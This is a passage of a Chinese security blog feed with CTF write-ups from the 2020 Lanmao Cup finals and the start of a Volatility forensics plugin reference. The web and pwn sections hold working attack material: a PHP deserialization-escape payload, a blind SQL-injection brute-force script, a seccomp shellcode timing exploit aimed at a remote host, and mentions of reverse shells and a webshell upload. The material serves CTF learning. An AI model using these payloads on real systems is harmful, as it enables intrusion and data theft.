cdn-cgi/login,查看源代码发现flag3,利用修改session登录超级管理员权限,然后上传webshell,发现有flag.php 得到flag4</p>]]></content>
<summary type="html"><h1 id="取证题目"><a href="#取证题目" class="headerlink" title="取证题目"></a>取证题目</h1><ol>
<li>在 /var/log/httpd/access.log 文件中有蚁剑连接php记录 ,在202011月的l</summary>
<category term="WP" scheme="http://sharun.xyz/categories/WP/"/>
<category term="WP" scheme="http://sharun.xyz/tags/WP/"/>
</entry>
<entry>
<title>2020蓝帽杯决赛WP</title>
<link href="http://sharun.xyz/2021/01/01/%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9B-%E7%88%86%E7%82%92%E8%85%B0%E8%8A%B1WP/"/>
<id>http://sharun.xyz/2021/01/01/%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%86%B3%E8%B5%9B-%E7%88%86%E7%82%92%E8%85%B0%E8%8A%B1WP/</id>
<published>2020-12-31T16:00:00.000Z</published>
<updated>2021-04-28T08:58:24.276Z</updated>
<content type="html"><![CDATA[<h1 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h1><h2 id="PHP"><a href="#PHP" class="headerlink" title="PHP"></a>PHP</h2><p>获取备份后发现有对序列化字符串的操作,经典的反序列化逃逸特征,</p><p><img src="https://uploader.shimo.im/f/duta6sJ2QZsgKhoc.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p><img src="https://uploader.shimo.im/f/ZlAsQqFLaUTNPj8f.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>然后发现过滤的dir并不是数组中的dir,而是我们一开始传进去的get参数,构造payload如下</p><p>?user=ohhhh&pass=a3333&repass=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%22;s:3:%22dir%22;s:5:%22/flag%22;}&dir=pcyq23333</p><p>flag:</p><p><img src="https://uploader.shimo.im/f/UHRlnBcNY2vJ14rw.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><h2 id="login:"><a href="#login:" class="headerlink" title="login:"></a>login:</h2><p>根据题目给的提示可以知道是phpunit框架,然后根据已知的漏洞可以在/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php中执行post进去的内容,但是本题ban掉了很多函数,然后php反弹shell也没有维持成功,利用python的反弹shell方式可以成功</p><p><img src="https://uploader.shimo.im/f/eo7r1gO1TXCFe0wQ.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>尝试直接用python的命令执行读取flag,发现权限不够,所以要想办法提权。</p><p>然后因为本题目使用的是默认的DVWA框架,所以可以通过读取/config/config.inc.php文件来获取用户名和密码</p><p><img src="https://uploader.shimo.im/f/HOqWLEql7OubweXc.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>最后利用python实现命令行交互,获得admin权限后就可以获取flag</p><p>flag:</p><p><img src="https://uploader.shimo.im/f/hkIUEVUhIZqfdC2J.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><h2 id="login2"><a href="#login2" class="headerlink" title="login2"></a>login2</h2><p>BJDCTF2020的原题,改下脚本就行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">import os</span><br><span class="line">import requests as req</span><br><span class="line">def ord2hex(string):</span><br><span class="line">result = ''</span><br><span class="line">for i in string:</span><br><span class="line">result += hex(ord(i))</span><br><span class="line">result = result.replace('0x','')</span><br><span class="line">return '0x'+result</span><br><span class="line"></span><br><span class="line">url = "http://eci-2zeh6dgtru4egt90l2sv.cloudeci1.ichunqiu.com:80/index.php"</span><br><span class="line">string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']</span><br><span class="line">headers = {</span><br><span class="line">'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',</span><br><span class="line">'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',</span><br><span class="line">'Connection':'keep-alive'</span><br><span class="line">}</span><br><span class="line">res = ''</span><br><span class="line">for i in range(50):</span><br><span class="line">for j in string:</span><br><span class="line">passwd = ord2hex('^'+res+chr(j))</span><br><span class="line"># print(passwd)</span><br><span class="line">passwd = 'or/**/password/**/regexp/**/binary/**/{}#'.format(passwd)</span><br><span class="line">data = {</span><br><span class="line">'username':"admin\\",</span><br><span class="line">'password':passwd</span><br><span class="line">}</span><br><span class="line">r = req.post(url, data=data, headers=headers)</span><br><span class="line"># print(r.text)</span><br><span class="line">if "账号或密码错误!" not in r.text:</span><br><span class="line">res += chr(j)</span><br><span class="line">print(res)</span><br><span class="line">break</span><br></pre></td></tr></table></figure><p>flag:</p><h1 id=""><a href="#" class="headerlink" title=""></a><img src="https://uploader.shimo.im/f/2SiGWdWJFCTI96Mu.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></h1><h1 id="-1"><a href="#-1" class="headerlink" title=""></a></h1><h1 id="MISC"><a href="#MISC" class="headerlink" title="MISC"></a>MISC</h1><h2 id="签到题"><a href="#签到题" class="headerlink" title="签到题"></a>签到题</h2><p>转assii</p><h2 id="MISC隐写"><a href="#MISC隐写" class="headerlink" title="MISC隐写"></a>MISC隐写</h2><p>用binwalk提取图片内容,提取出一个PDF和加密压缩</p><p>PDF用wb4stego解密</p><p>得到</p><p><img src="https://uploader.shimo.im/f/7IHf4GXAOcu0OqMT.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>没解出来,但是爆破压缩包密码,得到了rmrf,keyword cipher解密</p><p><img src="https://uploader.shimo.im/f/KnDYWnfMZHu2zy3i.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p><img src="https://uploader.shimo.im/f/a0HB2S2YipjFqu5X.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><h2 id="QAQ-pcap"><a href="#QAQ-pcap" class="headerlink" title="QAQ_pcap"></a>QAQ_pcap</h2><p>在65流里找到了TLS的log,可以对TLS流量进行解密</p><p><img src="https://uploader.shimo.im/f/VSOPM5cga2hhsSvQ.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>解密后可以提取出一个rar文件</p><p>解压得到so_easy.pcap,文件头被改了,改回来</p><p><img src="https://uploader.shimo.im/f/257jpnnKT6KuRkyr.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>对流量包进行分析,发现是多个usb设备的流量,将每个单独过滤保存。</p><p><img src="https://uploader.shimo.im/f/LoZCigS5VbJxhYTo.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>单独分析,有一个鼠标流量,一个键盘流量,鼠标画出来啥都不是</p><p>流量键盘用脚本进行解析</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." ,225:"[LeftShift]",229:"[RightShift]",0x50:"[LeftArrow1]"}</span><br><span class="line">nums = []</span><br><span class="line">keys = open('key.txt')</span><br><span class="line">for line in keys:</span><br><span class="line">if(len(line)) != 17:</span><br><span class="line">continue</span><br><span class="line">print(line[4:6])</span><br><span class="line">nums.append(int(line[4:6],16))</span><br><span class="line">keys.close()</span><br><span class="line">print(nums)</span><br><span class="line">output = ""</span><br><span class="line">for n in nums:</span><br><span class="line">if n == 0 :</span><br><span class="line">continue</span><br><span class="line">if n in mappings:</span><br><span class="line">output += mappings[n]</span><br><span class="line">else:</span><br><span class="line">output += "["+str(n)+"]"</span><br><span class="line">print('output :\n' + output)</span><br></pre></td></tr></table></figure><p>注意有LeftArrow1和shfit,都解释出来后就得到flag了<br>flag</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Hi!This is y flag!</span><br><span class="line">The flag[] is flag{Pc@p_1s_5o_3asY!}</span><br><span class="line">Bye!</span><br></pre></td></tr></table></figure><h1 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h1><h2 id="Pwn1"><a href="#Pwn1" class="headerlink" title="Pwn1"></a>Pwn1</h2><p><img src="https://uploader.shimo.im/f/uRxLkDcplO5aDJ3f.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>Seccomp沙箱,有open read函数没有write写函数</p><p>基本思路是构造爆破(之前打过一个比赛跟这个思路差不多都是构造shellcode比较爆破)</p><p>open后read,使用cmp比较,等于则使用jz进行死循环,否则ret退出</p><p><img src="https://uploader.shimo.im/f/dz5I2at61EGCT5kK.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><p>完整exp如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">elf=ELF('./chall')</span><br><span class="line">EXCV = context.binary = './chall'</span><br><span class="line">#libc=('')</span><br><span class="line">#context.log_level = 'debug'</span><br><span class="line"> </span><br><span class="line">def pwn(p, idx, c):</span><br><span class="line"> # open</span><br><span class="line"> shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"</span><br><span class="line"> </span><br><span class="line"> # re open, rax => 4</span><br><span class="line"> shellcode += "push 2; pop rax; syscall;"</span><br><span class="line"> </span><br><span class="line"> # read(rax, 0x10040, 0x50)</span><br><span class="line"> shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"</span><br><span class="line"> </span><br><span class="line"> # cmp and jz</span><br><span class="line"> if idx == 0:</span><br><span class="line"> shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, c)</span><br><span class="line"> else:</span><br><span class="line"> shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, c)</span><br><span class="line"> </span><br><span class="line"> shellcode = asm(shellcode)</span><br><span class="line"> </span><br><span class="line"> p.sendafter("xecution-box.\n", shellcode.ljust(0x40-14, b'a') + b'/home/pwn/flag')</span><br><span class="line"> </span><br><span class="line">idx = 0</span><br><span class="line">var_list = []</span><br><span class="line">while(1):</span><br><span class="line"> for c in range(32, 127):</span><br><span class="line"> p = remote("8.131.246.36",40334)#nc 8.131.246.36 40334 </span><br><span class="line"> pwn(p, idx, c)</span><br><span class="line"> start = time.time()</span><br><span class="line"> try:</span><br><span class="line"> p.recv(timeout=2)</span><br><span class="line"> except:</span><br><span class="line"> pass</span><br><span class="line"> end = time.time()</span><br><span class="line"> p.close()</span><br><span class="line"> if end-start > 1.5:</span><br><span class="line"> var_list.append(c)</span><br><span class="line"> print("".join([chr(i) for i in var_list]))</span><br><span class="line"> break</span><br><span class="line"> else:</span><br><span class="line"> print("".join([chr(i) for i in var_list]))</span><br><span class="line"> break</span><br><span class="line"> idx = idx + 1</span><br><span class="line"> </span><br><span class="line">print("".join([chr(i) for i in var_list]))</span><br></pre></td></tr></table></figure><p>经过多次失败的爆破后<br>终于有了一个完整的</p><p><img src="https://uploader.shimo.im/f/UKIa2isXiV4pTpyX.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><h1 id="CRYPTO"><a href="#CRYPTO" class="headerlink" title="CRYPTO"></a>CRYPTO</h1><h2 id="common-modulus"><a href="#common-modulus" class="headerlink" title="common_modulus"></a>common_modulus</h2><p>先用共模,算出HINT</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"># 共模攻击</span><br><span class="line">import gmpy2</span><br><span class="line">import binascii as B</span><br><span class="line">n = 781036391323974008856551441504551844841173384369055361767143425092387727015642055181741701170017399241497120632344953499820518820132068694764700867696829033106666055030180813062993649803797649124562825632340854157269454042167398954816966758408050707394510052574354703514670567409229754892812751190528559839163370996270173354192391025119212070374345175232268160015709412770236244184407603397493657886160301984598114022346065772036916080039069065703045460825584095559014098364274915486192890077441915702648662247422573607141301387160468708901332801070000950051880674436952646199048944681743156311156561347137284309444428161898926050856612636204505753959646608899803680618195914959490447723147711810217755931778569656715879355497741337867486596084617334222360877256151925248867366886699774397369843538784086757551124956184373578870266105742924242667575610284091444010308038579594247922368368398449676635147254244680714381600463229849534333608407292776731721661271718860696451810720187133868564530559847589151122364073467586981976649022363672800597675920485113168688814933825793827901051904388778126030212255351752567066602576348655685594872269975311829268026394327948942096118152848379484736487085060738082253125862183108996724624059293</span><br><span class="line">c1 = 369574840235539108372094092254419274246554984982221252273253594183836400022960378170488757871945636102709146100003103420983393418895920944769809509498534206740321414394214836818668536994868508542980403916810808297197199669370712797146359430162012897117686984913530312098913792383741034334686281360853026726954824577914039860820382688425141138202072956110821496285690037742234810972548140439615644523558778763893381916419169521655893103187028705326557465586164413430726626576639348603638806511311706975958593200898505048876740706947195874397909272772688774998312506679360257618176951770041342256209410863260884750487279961933541672586237719402972217492287549068766414410155714303648473676009661943965293501994978200745219593293552499364219563185093112256120550663818918964081980469288619926291250638450874316053326601032273087039376723415701554676257043515877013761681843885375325430297941942692679848107999743068109805325264735576658206199089491608087442001508062053843516431089207243339447049547611183815785864081653492970812961076181422434762137310522146572918571492263273382927468586853431581811297567337244729976259333642991615934568219783998183005087012034016783535060297367475598352120058322912068079704771685886066199702963018</span><br><span class="line">c2 = 401003748149510002818767369230254602513865159661339906800347290711690807270702301230624025422831311596632795141531720435002853738573163182312453127686259756779068482529257900103967550779067445990067902733048774414790636519587265122992946230937925359967091172504901407334687520803755214564929157748817222608867504984640435317237940989728715980606596332309938083583162432506373976839198105889860716728175207628676903581344807944755695848151190623498753010294323617338270060040423742010145259129678264662465355879341730120526032229944482388360258216424682694404263498956947130580056839592840962191604893632645585505577517647817952448510353267629549246776809657021963707309740084072731429860522801140021375078140454523473108229522456529438036963702296406101462856177037427008765522302625128434931680973911239443952409966616788095217782552153170772137807287594897681855045237814736536800205438589010668545647972935172419082314572196606656703628418159952436419223060565888253991481370307426542468001783829259332035534414470988788183383528642038979811899061182916422795902465788443785184461640800074642736248613386467596765647696764766509793194318458994279346191732415463226129676210488158303216826287374744132977258018064709541279591219801</span><br><span class="line">e1 = 321959</span><br><span class="line">e2 = 250261</span><br><span class="line">s0, s1, s2 = gmpy2.gcdext(e1, e2)</span><br><span class="line">if s1 < 0:</span><br><span class="line"> s1 = -s1</span><br><span class="line"> c1 = gmpy2.invert(c1, n)</span><br><span class="line">elif s2 < 0:</span><br><span class="line"> s2 = -s2</span><br><span class="line"> c2 = gmpy2.invert(c2, n)</span><br><span class="line">m = gmpy2.powmod(c1, s1, n)*gmpy2.powmod(c2, s2, n) % n</span><br><span class="line">m = gmpy2.iroot(m,11)[0]</span><br><span class="line">print('[-]m is:', m)</span><br><span class="line">print(hex(m))</span><br><span class="line">print( B.a2b_hex(hex(m)[2:]))</span><br></pre></td></tr></table></figure><p><img src="https://uploader.shimo.im/f/8JFCib49NLzjrsj3.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">import gmpy2</span><br><span class="line">from Crypto.Util.number import *</span><br><span class="line">hint = 0x65333d3338363332312c65343d323136343337</span><br><span class="line"></span><br><span class="line">n2 = 829153922415855137264800234822397159517330834702889033537933377293887344320377111020468975059392957737449202237724182178497515850669969287557171761512943313347002707881627665997773538338624697031113180118787578098839812766590356161880633390491240275263405375614880514319024910802488825931065452764114707860207310201420715597319258880485040522551832971592910421789656655281398336391483665797851843030704262677198876702546809063670714197016598069553974073602743894202215033991282795559558580509644985355582265309273819085165244990507821708921430055578522701525123887916901778357465509369586730929688392667732886906857430517653096398002777964560127268121571049233223372798710275104635615146227690965482270801899538594859206469480776522613028131598888508457709453379574742196454867003503347438618445660900423827776062276496733498823286497376761412579384984369308185260156963156405659950843672893896087650002269874800953868406307954077672988900057904666430054296760155287271561170025767624003816826720442668295925485637633877652749338842612472516105683964067019360513619412986301224461318521372012905629559424109846511589009550745828509068711532135188012958609344134355466641890243263881890822508445307982892951553198862583429368670057993</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">c3 = 159724515943626607063077852180725785535830882720862727668525327462548399711146109134244815376287134761817075519820142556357574606798840233562248755971526219627762223734393473798914901143269449212790392600105330383090174083139586064181174009077350924651070244802047181675971743583126005374180803661344948105563731243622231745397860438110568700027808240466520775159603948893458839584686022713865445974999010633338992077036339635470928309825709158252021736998333181626196852117911063143924690274341118934263954401171980866857766803251097624531349328131906037324939822709718110584612723905396082816423636920021116198893529151233844741049768382997165306708386377461537659894631638669541135139772256724755879894163220385702448163577861050255922091076291360733371557008202704744025308442559929057280944151904346146363641694256384699833066941693911888313063101709464779564216471784300409758667075242519216711038178970244130709075948085377075896223268673956328949049096893114349123857314470200317354442002350914580896785644057370606138149403529271049952702755513806243257608741081761103014849775297798769123025294190124352059867893341310583345698551198662911063194743695473937982189580136904500546179872911907699655901666991491654421172959264</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">c4 = 577539997913679548128771306860581210544436789252901226997329423745523775309125445697836728285902404228772238261978792894724035857571722732772392975266650638941506233731097966088599219553016910895407298319171601788682316820727521975802034842881641332176636880671926669677709251368489592049188264858974171362799051918792714121517422464840766220636795897542591062529334135365684855298036787805819982776703613397951208027499626161971540340384357517350954755917853981444696889490414620688922414306470663625107920255478295871212500731262906706677230231273773081082937699900897018507666959617262265778895830665231960626623936539619558323350031200046331865204833002387826480300556398975518044660453862186191885052104669182124205562629260585502282489936369132703221625792917684714281278526690498041768698231671538540231217204457920089132127615505206718241082416584911313565380784068494321438301994932115301961956898936006101799945175006847294491423172988371831199816110394796146842726192613950900507852084712888550397657990358471172662866403096061418272111461743199683739447289005311734544421847876133462236161463005728810728422873087670552019575195179400831748068699257581271088746550021722434317091260496556373742562805426688588980981788900</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">c =795129169552291006861754002206513820937641980698434382418936261423422746999612445764303059674219208389574024534672717069821412414159146551366545996353949783196010213553918927580779995019174186191032145333149188913037471190229239099846321485033232436935611571367541493044277081533408993875257311753734536147571167095896669077719414131452331046090464837590749820091009158875152457888900355791540044943189887475311977641143538035689663891597983971260327156044023687896426055728061855343985242964248584312808777178962375936043822201018415653235814485615205327407400780005852561278683155208683364942051067379779866515199199129202240010485952950728372189222715041921342651574061028219342292107006496306690996248232154011982638406599183117999624463176008864712361084026607499225962202418264921259296412132569498420948156231991422121967643470934361208982842203404876002586976855763264989245461870293707215153833855463524713435447265274151395156396029507394842810440848947409747692940663271981830686236597905086310965497295634452454502792579750856566644956428398186959955662345052899355866818276388556869309837579415317436154415391396745002015389421807844666877314560257175276506064197678141334956984552068148598923249237123558477833149102400</span><br><span class="line">e3=386321</span><br><span class="line">e4=216437</span><br><span class="line">s0, s1, s2 = gmpy2.gcdext(e3, e4)</span><br><span class="line">if s1<0:</span><br><span class="line">s1 = - s1</span><br><span class="line">c3 = gmpy2.invert(c3, n2)</span><br><span class="line">elif s2<0:</span><br><span class="line">s2 = - s2</span><br><span class="line">c4 = gmpy2.invert(c4, n2)</span><br><span class="line">c = pow(c3,s1,n2)*pow(c4,s2,n2) % n2</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">a = gmpy2.invert(hint**13,n2)</span><br><span class="line">d = (c*a)%n2</span><br><span class="line">flag = gmpy2.iroot(d,13)[0]</span><br><span class="line">print long_to_bytes(flag)</span><br></pre></td></tr></table></figure><p><img src="https://uploader.shimo.im/f/eds6YkgkgyutXsUr.png!thumbnail?fileGuid=xXTRKk6tD9QxwqwC" alt="图片"></p><h1 id="re"><a href="#re" class="headerlink" title="re"></a>re</h1>]]></content>
<summary type="html"><h1 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h1><h2 id="PHP"><a href="#PHP" class="headerlink" title="PHP"></a>PHP</h</summary>
<category term="WP" scheme="http://sharun.xyz/categories/WP/"/>
<category term="WP" scheme="http://sharun.xyz/tags/WP/"/>
</entry>
<entry>
<title>volatility</title>
<link href="http://sharun.xyz/2020/11/09/Volatility/"/>
<id>http://sharun.xyz/2020/11/09/Volatility/</id>
<published>2020-11-09T11:21:35.860Z</published>
<updated>2020-11-09T11:21:35.860Z</updated>
<content type="html"><![CDATA[<h3 id="自用总结"><a href="#自用总结" class="headerlink" title="自用总结"></a>自用总结</h3><h3 id="简单描述"><a href="#简单描述" class="headerlink" title="简单描述#"></a>简单描述<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E7%AE%80%E5%8D%95%E6%8F%8F%E8%BF%B0">#</a></h3><p>Volatility是一款开源内存取证框架,能够对导出的内存镜像进行分析,通过获取内核数据结构,使用插件获取内存的详细情况以及系统的运行状态。</p><p>特点:</p><ul><li>开源:Python编写,易于和基于python的主机防御框架集成。</li><li>支持多平台:Windows,Mac,Linux全支持</li><li>易于扩展:通过插件来扩展Volatility的分析能力<h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址#"></a>项目地址<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E9%A1%B9%E7%9B%AE%E5%9C%B0%E5%9D%80">#</a></h3><—more—><br><a href="https://github.com/volatilityfoundation/volatility">https://github.com/volatilityfoundation/volatility</a></li></ul><h3 id="Kali安装"><a href="#Kali安装" class="headerlink" title="Kali安装#"></a>Kali安装<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#kali%E5%AE%89%E8%A3%85">#</a></h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install volatility</span><br><span class="line">volatility -h</span><br><span class="line"># 部分报错可能kali版本过低</span><br></pre></td></tr></table></figure><h3 id="常用模块"><a href="#常用模块" class="headerlink" title="常用模块#"></a>常用模块<a href="https://wiki.wgpsec.org/knowledge/ctf/Volatility.html#%E5%B8%B8%E7%94%A8%E6%A8%A1%E5%9D%97">#</a></h3><table><thead><tr><th align="left">插件名称</th><th align="left">功能</th></tr></thead><tbody><tr><td align="left">amcache</td><td align="left">查看AmCache应用程序痕迹信息</td></tr><tr><td align="left">apihooks</td><td align="left">检测内核及进程的内存空间中的API hook</td></tr><tr><td align="left">atoms</td><td align="left">列出会话及窗口站atom表</td></tr><tr><td align="left">atomscan</td><td align="left">Atom表的池扫描(Pool scanner)</td></tr><tr><td align="left">auditpol</td><td align="left">列出注册表HKLMSECURITYPolicyPolAdtEv的审计策略信息</td></tr><tr><td align="left">bigpools</td><td align="left">使用BigPagePoolScanner转储大分页池(big page pools)</td></tr><tr><td align="left">bioskbd</td><td align="left">从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出BIOS开机密码)</td></tr><tr><td align="left">cachedump</td><td align="left">获取内存中缓存的域帐号的密码哈希</td></tr><tr><td align="left">callbacks</td><td align="left">打印全系统通知例程</td></tr><tr><td align="left">clipboard</td><td align="left">提取Windows剪贴板中的内容</td></tr><tr><td align="left">cmdline</td><td align="left">显示进程命令行参数</td></tr><tr><td align="left">cmdscan</td><td align="left">提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息)</td></tr><tr><td align="left">connections</td><td align="left">打印系统打开的网络连接(仅支持Windows XP 和2003)</td></tr><tr><td align="left">connscan</td><td align="left">打印TCP连接信息</td></tr><tr><td align="left">consoles</td><td align="left">提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息)</td></tr><tr><td align="left">crashinfo</td><td align="left">提取崩溃转储信息</td></tr><tr><td align="left">deskscan</td><td align="left">tagDESKTOP池扫描(Poolscaner)</td></tr><tr><td align="left">devicetree</td><td align="left">显示设备树信息</td></tr><tr><td align="left">dlldump</td><td align="left">从进程地址空间转储动态链接库</td></tr><tr><td align="left">dlllist</td><td align="left">打印每个进程加载的动态链接库列表</td></tr><tr><td align="left">driverirp</td><td align="left">IRP hook驱动检测</td></tr><tr><td align="left">drivermodule</td><td align="left">关联驱动对象至内核模块</td></tr><tr><td align="left">driverscan</td><td align="left">驱动对象池扫描</td></tr><tr><td align="left">dumpcerts</td><td align="left">提取RAS私钥及SSL公钥</td></tr><tr><td align="left">dumpfiles</td><td align="left">提取内存中映射或缓存的文件</td></tr><tr><td align="left">dumpregistry</td><td align="left">转储内存中注册表信息至磁盘</td></tr><tr><td align="left">editbox</td><td align="left">查看Edit编辑控件信息 (Listbox正在实验中)</td></tr><tr><td align="left">envars</td><td align="left">显示进程的环境变量</td></tr><tr><td align="left">eventhooks</td><td align="left">打印Windows事件hook详细信息</td></tr><tr><td align="left">evtlogs</td><td align="left">提取Windows事件日志(仅支持XP/2003)</td></tr><tr><td align="left">filescan</td><td align="left">提取文件对象(file objects)池信息</td></tr><tr><td align="left">gahti</td><td align="left">转储用户句柄(handle)类型信息</td></tr><tr><td align="left">gditimers</td><td align="left">打印已安装的GDI计时器(timers)及回调(callbacks)</td></tr><tr><td align="left">gdt</td><td align="left">显示全局描述符表(Global Deor Table)</td></tr><tr><td align="left">getservicesids</td><td align="left">获取注册表中的服务名称并返回SID信息</td></tr><tr><td align="left">getsids</td><td align="left">打印每个进程的SID信息</td></tr><tr><td align="left">handles</td><td align="left">打印每个进程打开的句柄的列表</td></tr><tr><td align="left">hashdump</td><td align="left">转储内存中的Windows帐户密码哈希(LM/NTLM)</td></tr><tr><td align="left">hibinfo</td><td align="left">转储休眠文件信息</td></tr><tr><td align="left">hivedump</td><td align="left">打印注册表配置单元信息</td></tr><tr><td 